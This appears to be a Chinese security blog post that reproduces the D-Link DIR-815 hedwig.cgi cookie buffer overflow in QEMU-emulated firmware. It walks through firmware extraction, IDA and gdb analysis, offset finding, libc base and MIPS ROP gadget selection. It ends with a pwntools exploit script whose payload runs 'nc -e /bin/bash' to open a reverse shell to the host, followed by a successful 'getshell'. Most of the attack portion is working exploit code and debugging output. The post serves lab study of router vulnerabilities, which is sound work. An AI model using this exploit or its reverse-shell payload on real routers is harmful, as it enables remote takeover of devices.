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title: D-LINK DIR-815多次溢出漏洞 author: 1ens tags: - 漏洞复现 categories: - iot date:
2022-08-25
准备
参考:[原创]家用路由器漏洞挖掘实例分析[图解D-LINK DIR-815多次溢出漏洞]-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com
该漏洞的描述位于这里,可知漏洞出现在hedwig.cgi
文件中,漏洞产生的原因是Cookie的值超长造成缓冲区溢出。首先了解一下cgi
文件。
cgi(Common Gateway Interface)
,通用网关接口。运行在服务器上提供同客户端 HTML 页面的接口的一段程序。
固件下载地址
http://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/DIR-815_REVA_FIRMWARE_v1.01.ZIP
binwalk解压固件

查看bin/busybox 得知是MIPS32,小端:

寻找线索
find . -name '*cgi'
查找文件
并ls -l ./htdocs/web/hedwig.cgi
发现hedwig.cgi是指向./htdocs/cgibin的符号链接,也就是说真正的漏洞代码在cgibin中。
静态分析
IDA静态调试cgibin
文件,hedwigcgi_main
函数处理整个过程,由于是HTTP_COOK
这个字段引起的漏洞溢出点,可以在IDA(SHIFT+F12)搜索字符串,然后通过X,交叉引用来跟踪到hedwigcgi_main
函数条用的位置。
跟踪到主函数的位置hedwigcgi_main,对函数功能进行大致分析,可以定位到其中的sprintf
函数引起了栈溢出。调用sess_get_uid
,得到HTTP_COOKIE
的值。同样创建两个指针数组a1,a2
,以等号为界将前半部分存入a1
偏移为5处,后半部分存入a2
偏移为5处,a1[5]
为uid
则将a2[5]
存入参数指针数组的偏移为5处。函数sobj_get_string
获得该数组中指向cookie
的指针。

IDA动态调试-确定偏移位置
程序通过 getenv 的方式获取 HTTP 数据包中的数据,流程应该为:
主Web程序监听端口->传送HTTP数据包->
HTTP中headers等数据通过环境变量的方式传给cgi处理程序->
cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
#POST具体数据可以通过类似输入流传入 :echo “uid=aaa”| /htdocs/web/hedwig.cgi
测试脚本test.sh
#!/bin/bash
#注意:里面=和变量之间一定不要有空格,坑,否则读入空数据。
test=$(python -c “print (‘uid=’+open(‘content’,’r’).read(2000))”) #方式一,以文件形式读入内容,提前填充好构造的数据到content文件
#test=$(python -c “print ‘uid=’ + ‘A’*0x600” )#方式二,直接后面接数据内容
#test=$(python -c “print ‘uid=’+open(‘exploit’,’r’).read()”)
#test =$(python -c “print ‘uid=’ + ‘A’*1043 + ‘B’*4”)#可选构造数据
LEN=$(echo -n “$test” | wc -c)
PORT=”1234”
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE=”application/x-www-form-urlencoded” -E REQUEST_METHOD=”POST” -E HTTP_COOKIE=$test -E REQUEST_URL=”/hedwig.cgi” -E REMOTE_ADDR=”127.0.0.1” -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
#-E参数:加入环境变量 ;2>/dev/null :不输出提示错误
rm -f ./qemu
利用patternLocOffset.py生成content文件,包含特定格式的2000个字符串。类似于cyclic
python patternLocOffset.py -c -l 2000 -f content
在0x0409A38处断下

python patternLocOffset.py -s 0x38694237 -l 2000
计算偏移:

跟完sess_get_uid()
函数可发现后面还有一个sprintf()
,这里也会造成栈溢出,哪到底哪个才是真正的利用点呢
从整个函数可以看出,fopen("/var/tmp/temp.xml", "w")
的成功与否会导致程序走向这两个地方,即成功后是第二个sprintf()
为溢出利用点,而失败时是第一个sprintf()
为溢出利用点
如果 fopen("/var/tmp/temp.xml", "w")
打开成功则会执行到第二个sprintf
,因为没有实机没法判断实际固件中是否有这个目录
因此我们手动创建该目录及文件
mkdir var/tmp
touch var/tmp/temp.xml
这里假设第二个sprintf()
为漏洞点(其实是第一个还是第二个对于用户模式下的调试并没有多大关系,就是偏移不一样罢了,构造 rop
链方法都是一样的),所以偏移得重新计算

但是haystack为0的话无法走到第二个sprintf

交叉引用找到这
动调可知在sub_402B40函数,这里影响着haystack的赋值

这部分前面的代码,可知随便传点参数即可
参考D-Link DIR-815 路由器多次溢出漏洞分析 | Lantern’s 小站
#!/bin/bash
# test2.sh
INPUT="x=x"
COOKIE=$(python -c "print('uid=' + open('context','r').read())")
PORT="1234"
LEN=$(echo -n "$INPUT" | wc -c)
cp $(which qemu-mipsel-static) ./qemu
echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
rm -f ./qemu

最终的偏移为1009.
ROP 链的构造
gdb-multiarch+QEMU动态调试分析验证
1,通过gdb指定脚本调试(避免重复输入,重复造轮子浪费时间)
set architecture mips
set endian little
target remote :1234
b *0x409a54
c
vmmap
执行 #一定要加载文件htdocs/cgibin不然vmmap得不到结果
gdb-multiarch htdocs/cgibin -x dbgscript
-x是指定要执行的命令文件
but…还是每找到完整的vmmap

但实际上,我们查看 lib
目录下的 libc.so.0
即可知

找到systeam的地址

另外一种方法
from pwn import *
context.arch = “mips”
context.endian = “little”
libc = ELF(“./lib/libuClibc-0.9.30.1.so”)
libc.address = 0x77fe2000 # base address rop链的基地址,确定方法在后面
system_addr = libc.symbols[‘system’]
log.success(“system address: 0x%x” % system_addr)
得到 system address: 0x7f78b200
然后便是找一个能将 system()
首个参数写入 $a0
的 gadget,这里在 libuClibc-0.9.30.1.so
中使用mipsrop
插件,利用 mipsrop.stackfinder()
命令找将栈上数据放入寄存器的 gadget:

打开 mips rop gadgets
然后命令行输入mipsrop.stackfinders()

选择0x159cc的指令。该指令序列首先将SP+0x10(动调)地址存入寄存器S5中,而在偏移0x159EO处将$S5作为参数存入
Sa0,也就是说,这里需要将第一步得到的system地址填充到$So中,然后在$SP+0x10处填充需要执行的命令,即可实现对system(“”command”)函数的调用。

因为 system地址的最低位为0x00,而在 hedwig_main获取Cookie的过程中,也没有对这部分数据进行解码,所以,试图通过访问
hedwig.cgi时对Cookie进行编码来避开0x00是不可能的,这就使 sprintf函数可能被截断,造成缓冲区溢出失败。为了避开0x00
,写入时- 1 ,后面再找一个 gadget 加一即可
hedwigcgi_main()
结尾部分:

修改
$s0
$s1
$s2
$s3
$s4
$s5
$s6
$s7
$fp
$ra <== 返回地址
ROP的思路

from pwn import *
from MIPSPayload import MIPSPayload
import string, random, sys
class MIPSPayload:
BADBYTES = b”\x00”
LITTLE = “little”
BIG = “big”
FILLER = b”A”
BYTES = 4
def init(self, elfbase:int, endian:str = LITTLE, badbytes: bytes = BADBYTES):
self.elfbase = elfbase
self.badbytes = badbytes
self.endian = endian
self.payload = bytes()
1 | def rand_text(self, size): |
qemu系统模式
这里主要是为了在qemu虚拟机中重现http服务。
/sbin/httpd
应该是用于监听web端口的http服务,同时查看/htdocs/web
文件夹下的cgi文件和php文件,可以了解到接受到的数据通过php+cgi来处理并返回客户端。
find ./ -name '*http*'
找到web配置文件httpcfg.php

查看内容后分析出httpcfg.php
文件的作用是生成供所需服务的配置文件
的内容,所以我们参照里面内容,自己创建一个conf作为生成的配置文件
,填充我们所需的内容。(留个坑,暂时没搞懂)
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
1 | Server |
使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:Index of
/~aurel32/qemu
因为是小端,这里直接选择mipsel,然后下载其中两个文件:

debian_squeeze_mipsel_standard.qcow2 是文件系统,vmlinux-3.2.0-4-4kc-malta
是内核镜像
启动脚本start.sh
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append “root=/dev/sda1 console=tty0” \
-net nic \
-net tap \
-nographic \

输入用户名/密码 root/root或user/user即可登录qemu模拟的系统

接下来在宿主机创建一个网卡,使qemu内能和宿主机通信。
安装依赖库:
sudo apt-get install bridge-utils uml-utilities
在宿主机编写如下文件保存为net.sh并运行:
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state –state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

然后配置qemu虚拟系统的路由,在qemu虚拟系统中编写net.sh并运行:
#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
eth0的网卡是192.168.100.2并且可以和宿主机ping通表示成功

随后使用scp
命令将binwalk解压出来的squashfs-root 文件夹上传到qemu系统中的**/root** 路径下:
scp -r squashfs-root/ root@192.168.100.2:/root
然后在qemu虚拟系统中将squashfs-root
文件夹下的库文件替换掉原有的,此操作会改变文件系统,如果不小心退出了虚拟系统,再次启动qemu时会失败,原因是因为改变了文件系统的内容。此时需要使用新的文件系统,因此在此操作之前可以先备份一份。编写auto.sh并执行:
cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
接下来在qemu虚拟系统的根目录( / )下,创建一个名为conf的文件,此文件是httpd服务的配置文件。内容如下:
1 |
|
最后启动httpd服务:
./httpd -f conf

这里访问失败是因为hedwig.cgi服务没有收到请求,需要提前配置qemu虚拟环境中的REQUEST_METHOD
等方法,因为httpd是读取的环境变量,这里就直接通过环境变量进行设置:
export CONTENT_LENGTH=”100”
export CONTENT_TYPE=”application/x-www-form-urlencoded”
export REQUEST_METHOD=”POST”
export REQUEST_URI=”/hedwig.cgi”
export HTTP_COOKIE=”uid=1234”
这里在qemu虚拟系统中运行hedwig.cgi,再次访问http://192.168.100.2:4321/hedwig.cgi就可以正常收到内容了

接下来就是使用gdbserver对hedwig.cgi进行调试了。
gdbserver调试
动态调试确定偏移但是在那之前需要关掉地址随机化,因为qemu的虚拟机内核开启了地址随机化,每次堆的地址都在变化,导致libc的基地址也不断在变,所以需要关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
注:正常路由环境和 MIPS 虚拟机中为了程序运行速度会取消 canary,地址随机化等保护机制
这里需要提前将 MIPSEL 架构的 gdbserver 传到 qemu 虚拟机中,这里选择了别人编译好的 gdbserver
auto.shell
#!/bin/bash
export CONTENT_LENGTH=”100”
export CONTENT_TYPE=”application/x-www-form-urlencoded”
export HTTP_COOKIE=”uid=cat content
“ #content你自己构造的数据内容,原本是没有的按上面所述的方式去创建
export REQUEST_METHOD=”POST”
export REQUEST_URI=”/hedwig.cgi”
echo “uid=1234”|./gdbserver 192.168.100.254:8888 /htdocs/web/hedwig.cgi #IP为宿主机IP
宿主机连接 gdbserver
gdb-multiarch htdocs/cgibin
set architecture mips
target remote 192.168.100.2:8888 #对应qemu地址和端口
这里我们终于可以看到vmmap

接下来是确定libc的基地址,需要先把环境变量配置好,不然/htdocs/web/hedwig.cgi很快就执行完,进程立马就结束了,就得不到maps。
利用(注意根据会先pid规律,快速修改预测pid执行,否则maps地址数据不会出来)
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
a &b
先执行a,在执行b,无论a成功与否都会执行b。因为关闭了地址随机化,libc.so.0的基地址就是0x77f34000。这里的libc.so.0是指向libuClibc-0.9.30.1.so。所以libuClibc-0.9.30.1.so基地址为0x77f34000。

export CONTENT_LENGTH=”100”
root@debian-mipsel:# export CONTENT_TYPE=”application/x-www-form-urlencoded”# export HTTP_COOKIE=”uid=1234”
root@debian-mipsel:
root@debian-mipsel:# export REQUEST_METHOD=”POST”# export REQUEST_URI=”/hedwig.cgi”
root@debian-mipsel:
root@debian-mipsel:# /htdocs/web/hedwig.cgi & cat /proc/pid/maps# /htdocs/web/hedwig.cgi & cat /proc/1226/maps
[2] 1224
cat: /proc/pid/maps: No such file or directory
root@debian-mipsel:
[3] 1226
00400000-0041c000 r-xp 00000000 08:01 32694 /htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 32694 /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0 [heap]
77f34000-77f92000 r-xp 00000000 08:01 547906 /lib/libc.so.0
77f92000-77fa1000 —p 00000000 00:00 0
77fa1000-77fa2000 r–p 0005d000 08:01 547906 /lib/libc.so.0
77fa2000-77fa3000 rw-p 0005e000 08:01 547906 /lib/libc.so.0
77fa3000-77fa8000 rw-p 00000000 00:00 0
77fa8000-77fd1000 r-xp 00000000 08:01 546761 /lib/libgcc_s.so.1
77fd1000-77fe1000 —p 00000000 00:00 0
77fe1000-77fe2000 rw-p 00029000 08:01 546761 /lib/libgcc_s.so.1
77fe2000-77fe7000 r-xp 00000000 08:01 547907 /lib/ld-uClibc.so.0
77ff5000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r–p 00004000 08:01 547907 /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00005000 08:01 547907 /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rwxp 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
编写exp(注意是py2
#!/usr/bin/python2
from pwn import *
context.endian = “little”
context.arch = “mips”
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = ‘nc -e /bin/bash 192.168.100.254 9999’
padding = ‘A’ * 973 #1009-4*9
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += ‘A’ * 4 # s2
padding += ‘A’ * 4 # s3
padding += ‘A’ * 4 # s4
padding += ‘A’ * 4 # s5
padding += ‘A’ * 4 # s6
padding += ‘A’ * 4 # s7
padding += ‘A’ * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += ‘B’ * 0x10
padding += cmd
f = open(“context”,’wb’)
f.write(padding)
f.close()
生成的context通过scp拷贝到mips虚拟机目录中并且在目录下创造debug.sh
export CONTENT_LENGTH=”100”
export CONTENT_TYPE=”application/x-www-form-urlencoded”
export HTTP_COOKIE=”uid=cat context
“
export REQUEST_METHOD=”POST”
export REQUEST_URI=”/hedwig.cgi”
echo “uid=1234”|/htdocs/web/hedwig.cgi
在宿主机运行
nc -vlp 9999
然后再mips虚拟机执行debug.sh

getshell !
总结
断断停停终于算是真正完整复现了第一个漏洞,dlink
DIR-815,依照0day路由器漏洞挖掘还有师傅们的博客,对mips架构和qemu有了进一步的了解